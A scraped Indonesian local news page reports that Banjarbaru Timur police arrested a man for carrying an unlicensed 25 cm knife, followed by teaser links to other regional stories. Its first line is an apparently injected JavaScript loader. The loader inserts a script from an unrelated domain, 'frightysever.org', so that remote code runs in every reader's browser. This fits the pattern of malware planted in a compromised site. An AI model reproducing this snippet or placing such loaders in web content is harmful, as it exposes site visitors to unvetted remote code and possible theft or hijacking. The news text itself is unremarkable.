(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Patroli UKL (Unit Kecil Lengkap) Polsek Banjarbaru Timur mengamankan N (40), warga RT 12 RW 04 Kelurahan Sungai Tiung, Kecamatan Cempaka karena kedapatan sedang membawa senjata tajam, di Jalan Mistar Cokrokusmo RT 13 RW 05 Kelurahan Sungai Tiung, Sabtu (14/7) sekitar pukul 23.00 Wita.
Kapolsek Banjarbaru Timur AKP Avan Suligi mengatakan, saat melakukan patroli UKL, anggota melakukan penggeledahan badan ditemukan sebilah senjata tajam jenis pisau dengan panjang 25 cm, di pinggang depan sebelah kanan N.
“Tersangka dan barang bukti diamankan ke Polsek Banjarbaru Timur untuk proses hukum lebih lanjut, dan tersangka diproses atas kepemilikan senjata tajam tanpa izin, sebagaimana pasal 2 ayat (1) Undang-Undang Darurat nomor 12 tahun 1951,†sebut Kapolsek Banjarbaru Timur.
Patroli UKL Polsek Banjarbaru Timur dalam rangka menciptakan keamanan dan ketertiban masyarakat di wilayah hukum Polsek Banjarbaru Timur dengan sasaran premanisme. (rico)
Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More
KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More
This website uses cookies.